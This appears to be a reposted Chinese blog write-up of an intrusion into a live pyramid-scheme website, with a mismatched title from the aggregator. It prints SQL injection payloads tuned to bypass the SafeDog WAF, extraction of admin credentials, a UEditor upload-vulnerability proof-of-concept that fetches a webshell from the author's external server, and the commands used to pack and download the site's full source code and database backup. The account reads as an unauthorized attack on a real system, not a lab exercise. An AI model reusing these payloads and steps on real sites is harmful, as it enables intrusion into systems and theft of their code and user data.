pythom打包文件太大_从SQL注入到整站打包与本地搭建
一、前言
如題,由于是在已知有一處sql注入的情況下才接手進行的后續操作,因此前面信息搜集則一筆帶過。
二、信息搜集
目標是個本地的傳銷站點其大致信息為IIS+ASP.NET+安全狗、騰訊云。
三、Bypass Sql
3.1 Fuzz
空格 error 加號 未攔截 等號 error 單引號 error 雙引號 未攔截 雙括號 未攔截 +select error %0bselect 未攔截 %0bselect%0buser%0bfrom 未攔截 %0bselect%0buser%0bfrom%0badmin 攔截 convert() 未攔截根據如上測試可以看出程序本身也有過濾,error為程序自身的過濾。可以利用IIS處理%符號的機制繞過部分符號,例如空格使用%0b 加號使用%2b等。再根據測試的結果,可以先利用convert轉換報錯獲取一部分信息。
goodscontent.aspx?gid=convert(int,@@version)#版本信息 goodscontent.aspx?gid=convert(int,db_name())#數據庫信息 goodscontent.aspx?gid=convert(int,user_name())#當前數據庫用戶 …… tips:可以通過遍歷db_name(1)中的數字獲取其他庫名得到以下信息:
ASP.NET 版本:Microsoft .NET Framework 版本:4.0.30319; ASP.NET 版本:4.0.30319.36400 數據庫版本:Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64) 用戶名:sa 計算機名:10_*_76_*SQLEXPRESS 10.*.76.* 當前庫:pan20170823 所有庫名: pan20170823 master tempdb model msdb ReportServer$SQLEXPRESS ReportServer$SQLEXPRESSTempDB再往下就是獲取表的信息
goodscontent.aspx?gid=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT%0btop%0b1%0bCAST(COUNT(*)%0bAS%0bnvarchar(4000))%0bFROM%0binformation_schema.TABLES%0b)%2bCHAR(58)%2bCHAR(58)))#獲取表總個數由于我只會簡單的select from因此始終無法獲取表名,如果有其他姿勢還望給科普下。
3.2 萬金油
此時陷入僵局,后來想起在404大佬的一篇bypass安全狗的文章中提到過在mssql中注釋加換行同樣成立,遂構造之。
goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0btable_name%0bFROM%0binformation_schema.tables%0b)--%20*/ PS:由于注入點已經使用了convert做了數據轉換,后續直接防入查詢即可獲取到第一個表名:jsrecord
由于還是沒能繞過單引號和等號,我始終用不了not in與for xml path來爆后續的表名,這又觸及到了我知識盲區,因此只好查閱大量文章案例,最終構造出如下語句。
/goodscontent.aspx?gid=--/*%0a(SELECT%0bTOP%0b1%0btable_name%0bFROM%0binformation_schema.tables%0bWHERE%0btable_name%0bNOT%0bIN(SELECT%0bTOP%0b11%0btable_name%0bFROM%0binformation_schema.columns))--%20*/此時只需要遍歷top的數值即可,例如:
/goodscontent.aspx?gid=--/*%0a(SELECT%0bTOP%0b1%0btable_name%0bFROM%0binformation_schema.tables%0bWHERE%0btable_name%0bNOT%0bIN(SELECT%0bTOP%0b80%0btable_name%0bFROM%0binformation_schema.columns))--%20*/通過不斷的遍歷數值發現還是存在問題,舉個例子,即 1-20、200-209,334-345返回同一個表名,存在大量重復與無序的情況,但可以通過burp中intruder->Grep-Extact功能來解決,操作如下: 首先設置好intruder對001-600進行遍歷(超過600多后就沒什么內容了)
然后使用Grep-Extact提取表名。
保存結果后去重即可。
和前面獲取到的表總個數是一致的。
解下來就是獲取memberadmin表中的列名與內容,但在此之前我還是習慣性的看了下后臺的網頁源代碼。
如圖,盲猜列名txt_nickname、nickname、txt_password、password
/goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0bnickname%0bfrom%0bmemberadmin)--%20*//goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0bpassword%0bfrom%0bmemberadmin)--%20*/三、后臺getshell
登陸后臺
經測試后發現信息管理處可以發布咨詢,上傳圖片。通過修改去掉filename="1.aspx"中的雙引號繞過安全狗,但無法繞過程序自身的檢測。
Content-Disposition: form-data; name="up_picture"; filename=xss.jpg .aspx不過得知上傳組件為ueditor,且.net版本存在上傳漏洞 poc如下
<form action="http://***/***/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST"> <p>shell addr:<input type="text" name="source[]" /></p > <input type="submit" value="Submit" /> </form>并在自己的服務器上準備好shell(注意過狗),名稱為a.gif,然后填入shell地址
https://o0o0.club/a.gif?.aspx提交后即可得到shell路徑
四、打包源碼與數據庫
在有了shell之后要做的事情就更明確了,即是打包源碼與數據庫,由于只需要這兩樣操作,相對于不需要太大的權限,避免操作不當觸發警告。因此我選擇先通過shell來進行打包操作。
源碼
這里利用的是自行上傳的rar.exe來分卷打包源碼,在此之前嘗試過7z.exe(目標服務器上已安裝)、makecab 但效果并不理想,姿勢不夠還望科普。
rar.exe a -r -v50m -m5 pan20170823 *.* #a 壓縮 #-r 打包子目錄 #-v 分卷大小 #-m 壓縮等級 #pan20170823目標目錄 #*.* 打包后文件名為 pan20170823.part*.rar最終以每秒100k的速度下載完成。
數據庫
略過,后臺自帶備份功能
坑點:后臺的備份文件后綴為zip,下載回來總是提示文件損壞,一直以為備份功能有問題,后來發現文件頭是TAPE。。。。
五、本地搭建
本地搭建的環境為 Windows server 2012+IIS8+SQL Server 2008,簡單講講0.0
SQL Server
安裝過程略過 導入數據
新建數據庫,然后通過原設備還原數據
還原成功
IIS與http://ASP.NET
安裝一筆帶過,左邊拉滿就行,簡單粗暴
添加站點
最好對應目標版本
修改源碼中的配置文件
訪問
創作挑戰賽新人創作獎勵來咯,堅持創作打卡瓜分現金大獎總結
以上是生活随笔為你收集整理的pythom打包文件太大_从SQL注入到整站打包与本地搭建的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Java极光推送
- 下一篇: awr报告分析 mysql_AWR报告的